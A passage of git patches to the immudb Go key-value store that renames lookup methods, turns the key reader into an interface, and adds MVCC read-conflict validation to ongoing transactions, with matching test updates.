valRef.Resolve() require.NoError(t, err) @@ -1235,7 +1240,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx.Delete([]byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) - r, err := tx.NewKeyReader(&KeyReaderSpec{ + r, err := tx.NewKeyReader(KeyReaderSpec{ Prefix: []byte{1, 2, 3}, Filters: []FilterFn{IgnoreDeleted}, }) @@ -1254,10 +1259,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = immuStore.Get([]byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) - _, err = immuStore.GetWith([]byte{1, 2, 3}, nil) + _, err = immuStore.GetWithFilters([]byte{1, 2, 3}, nil) require.ErrorIs(t, err, ErrIllegalArguments) - valRef, err := immuStore.GetWith([]byte{1, 2, 3}) + valRef, err := immuStore.GetWithFilters([]byte{1, 2, 3}) require.NoError(t, err) require.NotNil(t, valRef) require.True(t, valRef.KVMetadata().Deleted()) @@ -1268,14 +1273,14 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NoError(t, err) defer tx.Cancel() - r, err = tx.NewKeyReader(&KeyReaderSpec{ + r, err = tx.NewKeyReader(KeyReaderSpec{ Prefix: []byte{1, 2, 3}, Filters: []FilterFn{IgnoreDeleted}, }) require.NoError(t, err) require.NotNil(t, r) - _, _, _, err = r.ReadBetween(1, immuStore.TxCount()) + _, _, err = r.ReadBetween(1, immuStore.TxCount()) require.ErrorIs(t, err, ErrNoMoreEntries) err = r.Close() @@ -1314,14 +1319,14 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.ErrorIs(t, err, ErrExpiredEntry) // expired entries can not be resolved - valRef, err = immuStore.GetWith([]byte("expirableKey")) + valRef, err = immuStore.GetWithFilters([]byte("expirableKey")) require.NoError(t, err) _, err = valRef.Resolve() require.ErrorIs(t, err, ErrKeyNotFound) require.ErrorIs(t, err, ErrExpiredEntry) // expired entries are not returned - _, err = immuStore.GetWith([]byte("expirableKey"), IgnoreExpired) + _, err = immuStore.GetWithFilters([]byte("expirableKey"), IgnoreExpired) require.ErrorIs(t, err, ErrKeyNotFound) require.ErrorIs(t, err, ErrExpiredEntry) }) @@ -1347,7 +1352,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.ErrorIs(t, err, ErrKeyNotFound) // expired entries can not be resolved - valRef, err := immuStore.GetWith([]byte("expirableKey")) + valRef, err := immuStore.GetWithFilters([]byte("expirableKey")) require.NoError(t, err) _, err = valRef.Resolve() require.ErrorIs(t, err, ErrKeyNotFound) @@ -1384,7 +1389,7 @@ func TestImmudbStoreKVMetadata(t *testing.T) { _, err = immuStore.Get([]byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) - valRef, err := immuStore.GetWith([]byte{1, 2, 3}) + valRef, err := immuStore.GetWithFilters([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(1), valRef.Tx()) require.True(t, valRef.KVMetadata().Deleted()) @@ -1795,9 +1800,8 @@ func TestLeavesMatchesAHTSync(t *testing.T) { require.NoError(t, err) var k0 [8]byte - exists, err := immuStore.ExistKeyWith(k0[:], nil) + _, _, err = immuStore.GetWithPrefix(k0[:], nil) require.NoError(t, err) - require.True(t, exists) } tx := tempTxHolder(t, immuStore) diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 1bf73f15f7..55e4059e70 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -163,15 +163,15 @@ func (idx *indexer) SnapshotSince(tx uint64) (*tbtree.Snapshot, error) { return idx.index.SnapshotSince(tx) } -func (idx *indexer) ExistKeyWith(prefix []byte, neq []byte) (bool, error) { +func (idx *indexer) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, tx uint64, hc uint64, err error) { idx.mutex.Lock() defer idx.mutex.Unlock() if idx.closed { - return false, ErrAlreadyClosed + return nil, nil, 0, 0, ErrAlreadyClosed } - return idx.index.ExistKeyWith(prefix, neq) + return idx.index.GetWithPrefix(prefix, neq) } func (idx *indexer) Sync() error { diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index 8caa4092e5..2aec166803 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -65,8 +65,7 @@ func TestClosedIndexerFailures(t *testing.T) { require.Zero(t, snap) require.ErrorIs(t, err, ErrAlreadyClosed) - exists, err := indexer.ExistKeyWith(nil, nil) - require.Zero(t, exists) + _, _, _, _, err = indexer.GetWithPrefix(nil, nil) require.ErrorIs(t, err, ErrAlreadyClosed) err = indexer.Sync() @@ -190,8 +189,7 @@ func TestClosedIndexer(t *testing.T) { assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) - _, err = i.ExistKeyWith(dummy, dummy) - assert.Error(t, err) + _, _, _, _, err = i.GetWithPrefix(dummy, dummy) assert.ErrorIs(t, err, ErrAlreadyClosed) err = i.Sync() diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index c8f5767490..6d0c0eeb1e 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -55,14 +55,11 @@ var ( } ) -type KeyReader struct { - snap *Snapshot - reader *tbtree.Reader - filters []FilterFn - refInterceptor valueRefInterceptor - - offset uint64 - skipped uint64 +type KeyReader interface { + Read() (key []byte, val ValueRef, err error) + ReadBetween(initialTxID uint64, finalTxID uint64) (key []byte, val ValueRef, err error) + Reset() error + Close() error } type KeyReaderSpec struct { @@ -81,10 +78,10 @@ func (s *Snapshot) set(key, value []byte) error { } func (s *Snapshot) Get(key []byte) (valRef ValueRef, err error) { - return s.GetWith(key, IgnoreExpired, IgnoreDeleted) + return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) } -func (s *Snapshot) GetWith(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { +func (s *Snapshot) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { indexedVal, tx, hc, err := s.snap.Get(key) if err != nil { return nil, err @@ -113,8 +110,22 @@ func (s *Snapshot) GetWith(key []byte, filters ...FilterFn) (valRef ValueRef, er return valRef, nil } -func (s *Snapshot) ExistKeyWith(prefix []byte, neq []byte) (bool, error) { - return s.snap.ExistKeyWith(prefix, neq) +func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { + key, indexedVal, tx, hc, err := s.snap.GetWithPrefix(prefix, neq) + if err != nil { + return nil, nil, err + } + + valRef, err = s.st.valueRefFrom(tx, hc, indexedVal) + if err != nil { + return nil, nil, err + } + + if s.refInterceptor != nil { + return key, s.refInterceptor(key, valRef), nil + } + + return key, valRef, nil } func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (tss []uint64, hCount uint64, err error) { @@ -129,12 +140,8 @@ func (s *Snapshot) Close() error { return s.snap.Close() } -func (s *Snapshot) NewKeyReader(spec *KeyReaderSpec) (*KeyReader, error) { - if spec == nil { - return nil, ErrIllegalArguments - } - - r, err := s.snap.NewReader(&tbtree.ReaderSpec{ +func (s *Snapshot) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { + r, err := s.snap.NewReader(tbtree.ReaderSpec{ SeekKey: spec.SeekKey, EndKey: spec.EndKey, Prefix: spec.Prefix, @@ -162,7 +169,7 @@ func (s *Snapshot) NewKeyReader(spec *KeyReaderSpec) (*KeyReader, error) { } } - return &KeyReader{ + return &storeKeyReader{ snap: s, reader: r, filters: spec.Filters, @@ -313,16 +320,26 @@ func (v *valueRef) Len() uint32 { return v.valLen } -func (r *KeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, val ValueRef, tx uint64, err error) { +type storeKeyReader struct { + snap *Snapshot + reader *tbtree.Reader + filters []FilterFn + refInterceptor valueRefInterceptor + + offset uint64 + skipped uint64 +} + +func (r *storeKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, val ValueRef, err error) { for { key, ktxID, hc, err := r.reader.ReadBetween(initialTxID, finalTxID) if err != nil { - return nil, nil, 0, err + return nil, nil, err } e, header, err := r.snap.st.ReadTxEntry(ktxID, key) if err != nil { - return nil, nil, 0, err + return nil, nil, err } val = &valueRef{ @@ -357,11 +374,11 @@ func (r *KeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, val continue } - return key, valRef, ktxID, nil + return key, valRef, nil } } -func (r *KeyReader) Read() (key []byte, val ValueRef, err error) { +func (r *storeKeyReader) Read() (key []byte, val ValueRef, err error) { for { key, indexedVal, tx, hc, err := r.reader.Read() if err != nil { @@ -398,12 +415,17 @@ func (r *KeyReader) Read() (key []byte, val ValueRef, err error) { } } -func (r *KeyReader) Reset() error { +func (r *storeKeyReader) Reset() error { + err := r.reader.Reset() + if err != nil { + return err + } + r.skipped = 0 - return r.reader.Reset() + return nil } -func (r *KeyReader) Close() error { +func (r *storeKeyReader) Close() error { return r.reader.Close() } diff --git a/embedded/store/key_reader_test.go b/embedded/store/key_reader_test.go index a223fd084f..4886d99349 100644 --- a/embedded/store/key_reader_test.go +++ b/embedded/store/key_reader_test.go @@ -57,10 +57,7 @@ func TestImmudbStoreReader(t *testing.T) { defer snap.Close() - _, err = snap.NewKeyReader(nil) - require.ErrorIs(t, err, ErrIllegalArguments) - - reader, err := snap.NewKeyReader(&KeyReaderSpec{}) + reader, err := snap.NewKeyReader(KeyReaderSpec{}) require.NoError(t, err) defer reader.Close() @@ -119,7 +116,7 @@ func TestImmudbStoreReaderAsBefore(t *testing.T) { defer snap.Close() - reader, err := snap.NewKeyReader(&KeyReaderSpec{}) + reader, err := snap.NewKeyReader(KeyReaderSpec{}) require.NoError(t, err) defer reader.Close() @@ -132,7 +129,7 @@ func TestImmudbStoreReaderAsBefore(t *testing.T) { var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(i)) - rk, vref, _, err := reader.ReadBetween(0, uint64(i+1)) + rk, vref, err := reader.ReadBetween(0, uint64(i+1)) require.NoError(t, err) require.Equal(t, k[:], rk) @@ -185,7 +182,7 @@ func TestImmudbStoreReaderWithOffset(t *testing.T) { offset := eCount - 10 - reader, err := snap.NewKeyReader(&KeyReaderSpec{ + reader, err := snap.NewKeyReader(KeyReaderSpec{ Offset: uint64(offset), }) require.NoError(t, err) @@ -248,7 +245,7 @@ func TestImmudbStoreReaderAsBeforeWithOffset(t *testing.T) { offset := eCount - 10 - reader, err := snap.NewKeyReader(&KeyReaderSpec{ + reader, err := snap.NewKeyReader(KeyReaderSpec{ Offset: uint64(offset), }) require.NoError(t, err) @@ -263,7 +260,7 @@ func TestImmudbStoreReaderAsBeforeWithOffset(t *testing.T) { var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(i)) - rk, vref, _, err := reader.ReadBetween(0, uint64(i+1)) + rk, vref, err := reader.ReadBetween(0, uint64(i+1)) require.NoError(t, err) require.Equal(t, k[:], rk) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 0461e30123..a9cdc24cb3 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -17,7 +17,9 @@ limitations under the License. package store import ( + "bytes" "crypto/sha256" + "errors" "fmt" "time" ) @@ -33,6 +35,10 @@ type OngoingTx struct { preconditions []Precondition + expectedGetsWithFilters []expectedGetWithFilters + expectedGetsWithPrefix []expectedGetWithPrefix + expectedReaders []*expectedReader + metadata *TxMetadata ts time.Time @@ -40,6 +46,19 @@ type OngoingTx struct { closed bool } +type expectedGetWithFilters struct { + key []byte + filters []FilterFn + expectedTx uint64 // 0 used denotes non-existence +} + +type expectedGetWithPrefix struct { + prefix []byte + neq []byte + expectedKey []byte + expectedTx uint64 // 0 used denotes non-existence +} + type EntrySpec struct { Key []byte Metadata *KVMetadata @@ -215,16 +234,41 @@ func (tx *OngoingTx) AddPrecondition(c Precondition) error { return nil } -func (tx *OngoingTx) ExistKeyWith(prefix, neq []byte) (bool, error) { +func (tx *OngoingTx) GetWithPrefix(prefix, neq []byte) (key []byte, valRef ValueRef, err error) { if tx.closed { - return false, ErrAlreadyClosed + return nil, nil, ErrAlreadyClosed } if tx.IsWriteOnly() { - return false, ErrWriteOnlyTx + return nil, nil, ErrWriteOnlyTx } - return tx.snap.ExistKeyWith(prefix, neq) + key, valRef, err = tx.snap.GetWithPrefix(prefix, neq) + if errors.Is(err, ErrKeyNotFound) { + expectedGetWith := expectedGetWithPrefix{ + prefix: prefix, + neq: neq, + } + + tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWith) + } + if err != nil { + return nil, nil, err + } + + if valRef.Tx() > 0 { + // it only requires validation when the entry was pre-existent to ongoing tx + expectedGetWithPrefix := expectedGetWithPrefix{ + prefix: prefix, + neq: neq, + expectedKey: key, + expectedTx: valRef.Tx(), + } + + tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWithPrefix) + } + + return key, valRef, nil } func (tx *OngoingTx) Delete(key []byte) error { @@ -245,10 +289,10 @@ func (tx *OngoingTx) Delete(key []byte) error { } func (tx *OngoingTx) Get(key []byte) (ValueRef, error) { - return tx.GetWith(key, IgnoreExpired, IgnoreDeleted) + return tx.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) } -func (tx *OngoingTx) GetWith(key []byte, filters ...FilterFn) (ValueRef, error) { +func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, error) { if tx.closed { return nil, ErrAlreadyClosed } @@ -257,10 +301,35 @@ func (tx *OngoingTx) GetWith(key []byte, filters ...FilterFn) (ValueRef, error) return nil, ErrWriteOnlyTx } - return tx.snap.GetWith(key, filters...) + valRef, err := tx.snap.GetWithFilters(key, filters...) + if errors.Is(err, ErrKeyNotFound) { + expectedGetWithFilters := expectedGetWithFilters{ + key: key, + filters: filters, + expectedTx: 0, + } + + tx.expectedGetsWithFilters = append(tx.expectedGetsWithFilters, expectedGetWithFilters) + } + if err != nil { + return nil, err + } + + if valRef.Tx() > 0 { + // it only requires validation when the entry was pre-existent to ongoing tx + expectedGet := expectedGetWithFilters{ + key: key, + filters: filters, + expectedTx: valRef.Tx(), + } + + tx.expectedGetsWithFilters = append(tx.expectedGetsWithFilters, expectedGet) + } + + return valRef, nil } -func (tx *OngoingTx) NewKeyReader(spec *KeyReaderSpec) (*KeyReader, error) { +func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { if tx.closed { return nil, ErrAlreadyClosed } @@ -269,7 +338,16 @@ func (tx *OngoingTx) NewKeyReader(spec *KeyReaderSpec) (*KeyReader, error) { return nil, ErrWriteOnlyTx } - return tx.snap.NewKeyReader(spec) + keyReader, err := tx.snap.NewKeyReader(spec) + if err != nil { + return nil, err + } + + expectedReader := newExpectedReader(spec) + + tx.expectedReaders = append(tx.expectedReaders, expectedReader) + + return newOngoingTxKeyReader(keyReader, expectedReader), nil } func (tx *OngoingTx) Commit() (*TxHeader, error) { @@ -312,15 +390,18 @@ func (tx *OngoingTx) Cancel() error { } func (tx *OngoingTx) hasPreconditions() bool { - return len(tx.preconditions) > 0 + return len(tx.preconditions) > 0 || + len(tx.expectedGetsWithFilters) > 0 || + len(tx.expectedGetsWithPrefix) > 0 || + len(tx.expectedReaders) > 0 } -func (tx *OngoingTx) checkPreconditions(idx KeyIndex) error { +func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { for _, c := range tx.preconditions { if c == nil { return ErrInvalidPreconditionNull } - ok, err := c.Check(idx) + ok, err := c.Check(st) if err != nil { return fmt.Errorf("error checking %s precondition: %w", c, err) } @@ -328,6 +409,93 @@ func (tx *OngoingTx) checkPreconditions(idx KeyIndex) error { return fmt.Errorf("%w: %s", ErrPreconditionFailed, c) } } + + /* + if tx.IsWriteOnly() || tx.snap.Ts() >= st.lastPrecommittedTxID() { + return nil + } + */ + + for _, e := range tx.expectedGetsWithFilters { + valRef, err := st.GetWithFilters(e.key, e.filters...) + if errors.Is(err, ErrKeyNotFound) { + if e.expectedTx > 0 { + return ErrTxReadConflict + } + continue + } + if err != nil { + return err + } + + if e.expectedTx != valRef.Tx() { + return ErrTxReadConflict + } + } + + for _, e := range tx.expectedGetsWithPrefix { + key, valRef, err := st.GetWithPrefix(e.prefix, e.neq) + if errors.Is(err, ErrKeyNotFound) { + if e.expectedTx > 0 { + return ErrTxReadConflict + } + continue + } + if err != nil { + return err + } + + if !bytes.Equal(e.expectedKey, key) || e.expectedTx != valRef.Tx() { + return ErrTxReadConflict + } + } + + for _, eReader := range tx.expectedReaders { + tbsnap, err := st.indexer.index.RSnapshot() + if err != nil { + return err + } + + snap := &Snapshot{ + st: st, + snap: tbsnap, + ts: time.Now(), + } + + reader, err := snap.NewKeyReader(eReader.spec) + if err != nil { + return err + } + + defer reader.Close() + + for _, eReads := range eReader.expectedReads { + for _, eRead := range eReads { + var key []byte + var valRef ValueRef + + if eRead.initialTxID == 0 && eRead.finalTxID == 0 { + key, valRef, err = reader.Read() + } else { + key, valRef, err = reader.ReadBetween(eRead.initialTxID, eRead.finalTxID) + } + + if err != nil { + return err + } + + if !bytes.Equal(eRead.expectedKey, key) || eRead.expectedTx != valRef.Tx() { + return ErrTxReadConflict + } + } + + err = reader.Reset() + if err != nil { + return err + } + } + } + return nil } diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go new file mode 100644 index 0000000000..896906dae9 --- /dev/null +++ b/embedded/store/ongoing_tx_keyreader.go @@ -0,0 +1,109 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package store + +type expectedReader struct { + spec KeyReaderSpec + expectedReads [][]expectedRead +} + +type expectedRead struct { + initialTxID uint64 + finalTxID uint64 + + expectedKey []byte + expectedTx uint64 +} + +type ongoingTxKeyReader struct { + keyReader KeyReader + expectedReader *expectedReader +} + +func newExpectedReader(spec KeyReaderSpec) *expectedReader { + return &expectedReader{ + spec: spec, + expectedReads: make([][]expectedRead, 1), + } +} + +func newOngoingTxKeyReader(keyReader KeyReader, expectedReader *expectedReader) *ongoingTxKeyReader { + return &ongoingTxKeyReader{ + keyReader: keyReader, + expectedReader: expectedReader, + } +} + +func (r *ongoingTxKeyReader) Read() (key []byte, val ValueRef, err error) { + key, valRef, err := r.keyReader.Read() + if err != nil { + return nil, nil, err + } + + if valRef.Tx() > 0 { + // it only requires validation when the entry was pre-existent to ongoing tx + expectedRead := expectedRead{ + expectedKey: key, + expectedTx: valRef.Tx(), + } + + i := len(r.expectedReader.expectedReads) - 1 + + r.expectedReader.expectedReads[i] = append(r.expectedReader.expectedReads[i], expectedRead) + } + + return key, valRef, nil +} + +func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, val ValueRef, err error) { + key, valRef, err := r.keyReader.ReadBetween(initialTxID, finalTxID) + if err != nil { + return nil, nil, err + } + + if valRef.Tx() > 0 { + // it only requires validation when the entry was pre-existent to ongoing tx + + expectedRead := expectedRead{ + initialTxID: initialTxID, + finalTxID: finalTxID, + expectedKey: key, + expectedTx: valRef.Tx(), + } + + i := len(r.expectedReader.expectedReads) - 1 + + r.expectedReader.expectedReads[i] = append(r.expectedReader.expectedReads[i], expectedRead) + } + + return key, valRef, nil +} + +func (r *ongoingTxKeyReader) Reset() error { + err := r.keyReader.Reset() + if err != nil { + return err + } + + r.expectedReader.expectedReads = append(r.expectedReader.expectedReads, nil) + + return nil +} + +func (r *ongoingTxKeyReader) Close() error { + return r.keyReader.Close() +} diff --git a/embedded/store/ongoing_tx_test.go b/embedded/store/ongoing_tx_test.go index 59e088d1d1..0c3e697163 100644 --- a/embedded/store/ongoing_tx_test.go +++ b/embedded/store/ongoing_tx_test.go @@ -43,49 +43,39 @@ func TestOngoingTXAddPrecondition(t *testing.T) { } func TestOngoingTxCheckPreconditionsCornerCases(t *testing.T) { + st, err := Open(t.TempDir(), DefaultOptions()) + require.NoError(t, err) + + defer immustoreClose(t, st) + otx := &OngoingTx{} - idx := &dummyKeyIndex{} - err := otx.checkPreconditions(idx) + err = otx.checkPreconditions(st) require.NoError(t, err) otx.preconditions = []Precondition{nil} - err = otx.checkPreconditions(idx) + err = otx.checkPreconditions(st) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionNull) - idx.closed = true + err = st.Close() + require.NoError(t, err) + otx.preconditions = []Precondition{ &PreconditionKeyMustExist{Key: []byte{1}}, } - err = otx.checkPreconditions(idx) + err = otx.checkPreconditions(st) require.ErrorIs(t, err, ErrAlreadyClosed) otx.preconditions = []Precondition{ &PreconditionKeyMustNotExist{Key: []byte{1}}, } - err = otx.checkPreconditions(idx) + err = otx.checkPreconditions(st) require.ErrorIs(t, err, ErrAlreadyClosed) otx.preconditions = []Precondition{ &PreconditionKeyNotModifiedAfterTx{Key: []byte{1}, TxID: 1}, } - err = otx.checkPreconditions(idx) + err = otx.checkPreconditions(st) require.ErrorIs(t, err, ErrAlreadyClosed) } - -type dummyKeyIndex struct { - closed bool -} - -func (i *dummyKeyIndex) Get(key []byte) (valRef ValueRef, err error) { - return i.GetWith(key, IgnoreDeleted) -} - -func (i *dummyKeyIndex) GetWith(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { - if i.closed { - return nil, ErrAlreadyClosed - } - - return nil, ErrKeyNotFound -} diff --git a/embedded/store/preconditions.go b/embedded/store/preconditions.go index 23bc15a8dc..f52cd68a1b 100644 --- a/embedded/store/preconditions.go +++ b/embedded/store/preconditions.go @@ -111,7 +111,7 @@ func (cs *PreconditionKeyNotModifiedAfterTx) Validate(st *ImmuStore) error { func (cs *PreconditionKeyNotModifiedAfterTx) Check(idx KeyIndex) (bool, error) { // get the latest entry (it could be deleted or even expired) - valRef, err := idx.GetWith(cs.Key) + valRef, err := idx.GetWithFilters(cs.Key) if err != nil && errors.Is(err, ErrKeyNotFound) { // key does not exist thus not modified at all return true, nil From e60b84634491ab2afa063d1afe77f4f4f03ff3e2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 10 Dec 2022 01:56:29 -0300 Subject: [PATCH 0053/1062] chore(pkg/database): upgraded reader specs Signed-off-by: Jeronimo Irazabal --- pkg/database/scan.go | 2 +- pkg/database/sorted_set.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/database/scan.go b/pkg/database/scan.go index d33c4fd3ea..bfbae18b46 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -75,7 +75,7 @@ func (d *db) Scan(req *schema.ScanRequest) (*schema.Entries, error) { } r, err := snap.NewKeyReader( - &store.KeyReaderSpec{ + store.KeyReaderSpec{ SeekKey: seekKey, EndKey: endKey, Prefix: EncodeKey(req.Prefix), diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index 2e0abe5a1a..984f5423f8 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -174,7 +174,7 @@ func (d *db) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { } r, err := snap.NewKeyReader( - &store.KeyReaderSpec{ + store.KeyReaderSpec{ SeekKey: seekKey, Prefix: prefix, InclusiveSeek: req.InclusiveSeek, From 84d14a2554208d2855adfee6429a631212446bb6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 11 Dec 2022 10:57:29 -0300 Subject: [PATCH 0054/1062] chore(embedded/store): safe key copy for mvcc validation Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 57 ++++++++++++++++---------- embedded/store/ongoing_tx_keyreader.go | 4 +- 2 files changed, 37 insertions(+), 24 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index a9cdc24cb3..3e68c2c6ac 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -246,8 +246,8 @@ func (tx *OngoingTx) GetWithPrefix(prefix, neq []byte) (key []byte, valRef Value key, valRef, err = tx.snap.GetWithPrefix(prefix, neq) if errors.Is(err, ErrKeyNotFound) { expectedGetWith := expectedGetWithPrefix{ - prefix: prefix, - neq: neq, + prefix: cp(prefix), + neq: cp(neq), } tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWith) @@ -259,9 +259,9 @@ func (tx *OngoingTx) GetWithPrefix(prefix, neq []byte) (key []byte, valRef Value if valRef.Tx() > 0 { // it only requires validation when the entry was pre-existent to ongoing tx expectedGetWithPrefix := expectedGetWithPrefix{ - prefix: prefix, - neq: neq, - expectedKey: key, + prefix: cp(prefix), + neq: cp(neq), + expectedKey: cp(key), expectedTx: valRef.Tx(), } @@ -304,7 +304,7 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, valRef, err := tx.snap.GetWithFilters(key, filters...) if errors.Is(err, ErrKeyNotFound) { expectedGetWithFilters := expectedGetWithFilters{ - key: key, + key: cp(key), filters: filters, expectedTx: 0, } @@ -318,7 +318,7 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, if valRef.Tx() > 0 { // it only requires validation when the entry was pre-existent to ongoing tx expectedGet := expectedGetWithFilters{ - key: key, + key: cp(key), filters: filters, expectedTx: valRef.Tx(), } @@ -410,11 +410,9 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } } - /* - if tx.IsWriteOnly() || tx.snap.Ts() >= st.lastPrecommittedTxID() { - return nil - } - */ + if tx.IsWriteOnly() || tx.snap.Ts() >= st.lastPrecommittedTxID() { + return nil + } for _, e := range tx.expectedGetsWithFilters { valRef, err := st.GetWithFilters(e.key, e.filters...) @@ -450,18 +448,22 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } } - for _, eReader := range tx.expectedReaders { - tbsnap, err := st.indexer.index.RSnapshot() - if err != nil { - return err - } + if len(tx.expectedReaders) == 0 { + return nil + } - snap := &Snapshot{ - st: st, - snap: tbsnap, - ts: time.Now(), - } + tbsnap, err := st.indexer.index.RSnapshot() + if err != nil { + return err + } + + snap := &Snapshot{ + st: st, + snap: tbsnap, + ts: time.Now(), + } + for _, eReader := range tx.expectedReaders { reader, err := snap.NewKeyReader(eReader.spec) if err != nil { return err @@ -520,3 +522,14 @@ func (tx *OngoingTx) validateAgainst(hdr *TxHeader) error { return nil } + +func cp(s []byte) []byte { + if s == nil { + return nil + } + + c := make([]byte, len(s)) + copy(c, s) + + return c +} diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 896906dae9..0cfa6221ff 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -57,7 +57,7 @@ func (r *ongoingTxKeyReader) Read() (key []byte, val ValueRef, err error) { if valRef.Tx() > 0 { // it only requires validation when the entry was pre-existent to ongoing tx expectedRead := expectedRead{ - expectedKey: key, + expectedKey: cp(key), expectedTx: valRef.Tx(), } @@ -81,7 +81,7 @@ func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []b expectedRead := expectedRead{ initialTxID: initialTxID, finalTxID: finalTxID, - expectedKey: key, + expectedKey: cp(key), expectedTx: valRef.Tx(), } From 65d668fd851ed24aa55a86054d14067e57c869ec Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 13 Dec 2022 15:40:40 -0300 Subject: [PATCH 0055/1062] chore(embedded/store): wip mvcc validations Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 13 +++ embedded/store/ongoing_tx.go | 79 +++++++------ embedded/store/ongoing_tx_keyreader.go | 152 ++++++++++++++++++++----- embedded/tbtree/tbtree.go | 2 +- 4 files changed, 178 insertions(+), 68 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 77cf83efd7..43c53e8c49 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -759,6 +759,19 @@ func (s *ImmuStore) NewTxHolderPool(poolSize int, preallocated bool) (TxPool, er }) } +func (s *ImmuStore) unsafeSnapshot() (*Snapshot, error) { + snap, err := s.indexer.index.UnsafeSnapshot() + if err != nil { + return nil, err + } + + return &Snapshot{ + st: s, + snap: snap, + ts: time.Now(), + }, nil +} + func (s *ImmuStore) Snapshot() (*Snapshot, error) { snap, err := s.indexer.Snapshot() if err != nil { diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 3e68c2c6ac..521731bf66 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -304,9 +304,8 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, valRef, err := tx.snap.GetWithFilters(key, filters...) if errors.Is(err, ErrKeyNotFound) { expectedGetWithFilters := expectedGetWithFilters{ - key: cp(key), - filters: filters, - expectedTx: 0, + key: cp(key), + filters: filters, } tx.expectedGetsWithFilters = append(tx.expectedGetsWithFilters, expectedGetWithFilters) @@ -338,16 +337,7 @@ func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { return nil, ErrWriteOnlyTx } - keyReader, err := tx.snap.NewKeyReader(spec) - if err != nil { - return nil, err - } - - expectedReader := newExpectedReader(spec) - - tx.expectedReaders = append(tx.expectedReaders, expectedReader) - - return newOngoingTxKeyReader(keyReader, expectedReader), nil + return newOngoingTxKeyReader(tx, spec) } func (tx *OngoingTx) Commit() 